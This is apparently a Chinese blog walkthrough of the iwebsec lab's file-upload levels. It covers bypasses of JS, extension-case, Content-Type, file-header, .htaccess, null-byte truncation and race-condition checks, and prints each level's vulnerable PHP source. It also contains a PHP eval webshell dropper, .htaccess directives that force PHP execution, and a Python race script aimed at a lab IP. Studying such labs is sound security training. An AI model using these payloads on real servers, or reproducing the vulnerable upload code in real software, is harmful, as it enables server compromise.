文件上传漏洞 | iwebsec

靶场搭建


  1. 参考文章
    https://juejin.cn/post/7068931744547733517
    
  2. 出现个小问题,我的端口冲突了,所以换了一个不冲突的端口
    在这里插入图片描述
  3. 访问
    在这里插入图片描述

文件上传漏洞


  • 定义

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。一般都是指上传Web脚本能够被服务器解析的问题。因此我们可以在浏览器禁止JavaScript,也可以上传允许的后缀然后抓包修改。

  • 条件

上传含有木马的文件
该文件可以解析

前端JS过滤绕过


  1. JS检测

    JavaScript检测常见于用户选择文件上传的场景。JavaScript会检测上传文件的后缀是否可以上传,检测过程中上传文件的数据包并不会发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。

  2. 制作php木马文件
    在这里插入图片描述

  3. 上传
    在这里插入图片描述

  4. 不允许上传
    在这里插入图片描述

  5. 制作png木马文件在这里插入图片描述

  6. 上传在这里插入图片描述

  7. 转成repeater
    在这里插入图片描述

  8. 转发png文件
    在这里插入图片描述

  9. 无法解析在这里插入图片描述

  10. 修改文件后缀为php,发送。访问发现解析了。
    在这里插入图片描述

  11. 蚁剑连接
    在这里插入图片描述

  12. 进入后台
    在这里插入图片描述

  13. 源码(看网页源代码)

     <script type="text/javascript">
            function checkFile() {
                var file = document.getElementsByName('upfile')[0].value;
                if (file == null || file == "") {
                    alert("你还没有选择任何文件,不能上传!");
                    return false;
                }
                //定义允许上传的文件类型
                var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
                //提取上传文件的类型
                var ext_name = file.substring(file.lastIndexOf("."));
                //alert(ext_name);
                //alert(ext_name + "|");
                //判断上传文件类型是否允许上传
                if (allow_ext.indexOf(ext_name + "|") == -1) {
                    var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                    alert(errMsg);
                    return false;
                }
            }
        </script>
    

文件名过滤绕过


  1. 文件名大小写

    Windows系统下,文件名中的大小写不敏感。tesT.php=TESt.PHP
    linux系统下,文件名是敏感的。tesT.php和TESt.PHP是两个不同的文件

  2. 上传含有一句话木马的png文件
    在这里插入图片描述

  3. 不能上传php文件
    在这里插入图片描述

  4. 将文件名改为大写,上传成功

    在这里插入图片描述

  5. 解析成功
    在这里插入图片描述

  6. 蚁剑连接
    在这里插入图片描述

  7. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name']))
    	{ 
    		$upfile=$_FILES["upfile"]; 
    		
    		//获取数组里面的值 
    		$name=$upfile["name"];//上传文件的文件名 
    		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
    		$size=$upfile["size"];//上传文件的大小 
    		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
    		
    		//判断是否为图片 
    		if($type=="php")  //只是匹配php,我们可以大写PHP,Php绕过
    		{
    			echo "<script>alert('不能上传php文件!')</script>";
    			die();
    		}
    		else
    		{
    			$error=$upfile["error"];//上传后系统返回的值 
    			echo "================<br/>"; 
    			echo "上传文件名称是:".$name."<br/>"; 
    			echo "上传文件类型是:".$type."<br/>"; 
    			echo "上传文件大小是:".$size."<br/>"; 
    			echo "上传后系统返回的值是:".$error."<br/>"; 
    			echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 
    			echo "开始移动上传文件<br/>"; 
    			//把上传的临时文件移动到up目录下面 
    			move_uploaded_file($tmp_name,'up/'.$name); 
    			$destination="up/".$name; 
    			echo "================<br/>"; 
    			echo "上传信息:<br/>"; 
    			if($error==0)
    			{ 
    				echo "文件上传成功啦!"; 
    				echo "<br>图片预览:<br>"; 
    				echo "<img src=".$destination.">"; 
    			}
    		}
    	}
    ?>
    

Content-Type过滤绕过


  1. Content-Type检测

    在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。

    HTML文档标记:text/html;
    JPEG图片标记:image/jpeg;
    GIF图片标记:image/gif;
    js文档标记:application/javascript;
    xml文件标记:application/xml;

  2. 前端直接上传png格式的文件,此时的Content-Type就为image/png
    在这里插入图片描述

  3. 修改为文件名为php
    在这里插入图片描述

  4. 成功,连蚁剑
    在这里插入图片描述

  5. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		$upfile=$_FILES["upfile"]; 
    		//获取数组里面的值 
    		$name=$upfile["name"];//上传文件的文件名 
    		$type=$upfile["type"];//上传文件的类型 
    		$size=$upfile["size"];//上传文件的大小 
    		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
    		
    		//判断是否为图片类型,检查content-type是否符合
    		switch ($type){ 
    			case 'image/pjpeg':$okType=true; 
    			break; 
    			case 'image/jpeg':$okType=true; 
    			break; 
    			case 'image/gif':$okType=true; 
    			break; 
    			case 'image/png':$okType=true; 
    			break; 
    		} 
    		
    		if($okType){ 
    			/** 
    			* 0:文件上传成功<br/> 
    			* 1:超过了文件大小,在php.ini文件中设置<br/> 
    			* 2:超过了文件的大小MAX_FILE_SIZE选项指定的值<br/> 
    			* 3:文件只有部分被上传<br/> 
    			* 4:没有文件被上传<br/> 
    			* 5:上传文件大小为0 
    			*/ 
    			$error=$upfile["error"];//上传后系统返回的值 
    			echo "================<br/>"; 
    			echo "上传文件名称是:".$name."<br/>"; 
    			echo "上传文件类型是:".$type."<br/>"; 
    			echo "上传文件大小是:".$size."<br/>"; 
    			echo "上传后系统返回的值是:".$error."<br/>"; 
    			echo "上传文件的临时存放路径是:".$tmp_name."<br/>"; 
    			echo "开始移动上传文件<br/>"; 
    			//把上传的临时文件移动到up目录下面 
    			move_uploaded_file($tmp_name,'up/'.$name); 
    			$destination="up/".$name; 
    			echo "================<br/>"; 
    			echo "上传信息:<br/>"; 
    			if($error==0){ 
    				echo "文件上传成功啦!"; 
    				echo "<br>图片预览:<br>"; 
    				echo "<img src=".$destination.">"; 
    			}elseif ($error==1){ 
    				echo "超过了文件大小,在php.ini文件中设置"; 
    			}elseif ($error==2){ 
    				echo "超过了文件的大小MAX_FILE_SIZE选项指定的值"; 
    			}elseif ($error==3){ 
    				echo "文件只有部分被上传"; 
    			}elseif ($error==4){ 
    				echo "没有文件被上传"; 
    			}else{ 
    				echo "上传文件大小为0"; 
    			} 
    		}else{ 
    			echo "请上传jpg,gif,png等格式的图片!"; 
    		} 
    	} 
    ?>
    

文件头过滤绕过


  1. 文件头检测

    文件头检测是使用对于文件内容的验证机制,这种方法利用每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型。
    在这里插入图片描述

  2. 上传
    在这里插入图片描述

  3. 添加GIF89A
    在这里插入图片描述

    在这里插入图片描述

  4. 访问,解析成功
    在这里插入图片描述

  5. 蚁剑连接
    在这里插入图片描述

  6. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		......
    		//判断是否为图片 
    		if(!exif_imagetype($_FILES['upfile']['tmp_name'])){   //调用exif_imagetype()检查文件头
    			echo "<script>alert('请上传图片文件!')</script>";
    			die();
    		}else{
    			......
    			}
    	}
    ?>
    

.htaccess文件上传


  1. .htaccess文件(下面任意一句都可以)

    SetHandler application/x-httpd-php      //含义:将所有的文件都当做PHP执行
    AddType application/x-httpd-php .jpg     //含义:将jpg文件解析为php文件
    AddType application/x-httpd-php .html   //含义:将html文件也能执行.php文件
    AddType application/x-httpd-php .txt     //含义:普通的文本文档也能执行.php文件
    
  2. preg_match() 函数 在这里插入图片描述

  3. 成功上传了含有一句话木马的png文件
    在这里插入图片描述

  4. 但是无法解析png文件中的php代码
    在这里插入图片描述

  5. 上传.htaccess文件,这个文件没有被过滤。SetHandler application/x-httpd-php将所有的文件都当做PHP执行
    在这里插入图片描述

  6. 刚刚png文件无法解析,但是现在png文件中的php代码解析成功了
    在这里插入图片描述

  7. 蚁剑
    在这里插入图片描述

  8. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		......
    		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
    		......
    		//判断是否为图片 
    		if (preg_match('/php/i', $type)) {  // i 使php大小写都能匹配
    			echo "<script>alert('不能上传php文件!')</script>";
    			die();
    		}
    	......
    	}
    ?>
    

文件截断上传


  1. 文件名截断

    00x0是十六进制表示方法,是ASCII码为0的字符。在有些函数处理时,会把这字符当作结束符。系统在对文件名的读取时,如果遇到00x0,就会认为读取已结束。在PHP5.3之后的版本中完全修复了00截断,并且00截断受限于GPCaddslashes函数。

  2. 添加前缀
    在这里插入图片描述

  3. 发包,观测返回的结果
    在这里插入图片描述

  4. %00编码一下
    在这里插入图片描述

  5. 编码结果
    在这里插入图片描述
    分析一下
    在这里插入图片描述

  6. 蚁剑连接
    在这里插入图片描述

  7. 可以观察到只有6.php,没有6.php_74032572.jpg
    在这里插入图片描述

  8. 源码

    <?php 
    	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
    		$upfile=$_FILES["upfile"]; 
    		$name=$upfile["name"];
    		$type=substr($name, strrpos($name, '.')+1);
    		$size=$upfile["size"];
    		$tmp_name=$upfile["tmp_name"];
    		$uptypes=array('jpg','jpeg','png','pjpeg','gif','bmp'); 
    		$path = 'up/'.$_POST[path].'_'.rand().'.jpg';  //将 输入的前缀 + 随机生成的数字 作为最终保存的文件名
    		......
    		move_uploaded_file($tmp_name,$path); 
    		......
    	}
    ?>
    

条件竞争文件上传


  1. 观察上传文件
    在这里插入图片描述

  2. 分析一下源码逻辑

    <?php
    if (isset($_POST['submit'])){
        $allow_ext = array("gif","png","jpg");  //允许的后缀
    	$uploaddir = 'uploads/';
        $filename = $uploaddir.$_FILES['upfile']['name'];
    	move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);  //1 以上传时的文件名保存
        $file = "./".$filename;  
        echo "文件上传成功: ".$file."\n<br />";  
        sleep(1);  //这是我加的,为了爆破减少时间,我加了个时间,增加成功率
        $ext = array_pop(explode(".",$_FILES['upfile']['name']));
        if (!in_array($ext,$allow_ext)){  //2 判断上传文件的后缀是否符合条件
            unlink($file);
            die("此文件类型不允许上传已删除");    //3 不符合条件就删除
        }
    	}else{
    		die("");
    	}
    ?>
    

    代码逻辑:先以上传时文件名保存,然后检测文件是否符合条件,如果不符合条件就删除该文件。意味着:上传的文件曾经存在过服务器中,我们有可能在它被删除之前成功访问。

    做法:不断上传可以写新的马的shell.php文件,在上传成功后访问shell.php文件,访问的过程中shell.php代码解析然后新建7.php文件写马。这样即使原先的shell.php文件被删除,我们还有新写入的马子。这个过程打的就是时间差。【注意:并不是上传了shell.php文件就写马,必须访问它,在访问的过程中解析才进行写马操作。】

  3. 正常上传png文件进行抓包,send to intruder,进行爆破
    在这里插入图片描述

  4. 条件爆破点
    在这里插入图片描述

  5. 写shell.php的内容
    在这里插入图片描述

    <?php
    	echo 11;
    	fputs(fopen('7.php','w'),'<?php @eval($_POST[123])?>');
    ?>
    

    第一句:输出11,这是用脚本访问shell.php当做标记用的。
    第二句:新建7.php,并将内容<?php @eval($_POST[123])?>写入其中。

  6. 设置爆破条件
    在这里插入图片描述

  7. 脚本访问shell.php,在访问的过程解析php代码写入马

    import requests
    def main():
        i=0
        while 1:
            try:
                print(i,end='\r')
                test = requests.get("http://20.210.90.167:81/upload/uploads/shell.php ")    #不断访问上传的php文件,为了让shell.php进行代码解析,写入新的马
                if "11" in test.text:                     
                    print("OK")
                    break
            except Exception as e:
                pass
            i+=1
    if __name__ == '__main__':
        main()
    

    在这里插入图片描述

  8. 开始爆破
    在这里插入图片描述

  9. 打开upload目录,会看到PHP文件短暂存在过。【这是前几关getshell后进入后台的】
    在这里插入图片描述

  10. 写马成功,蚁剑连接
    在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值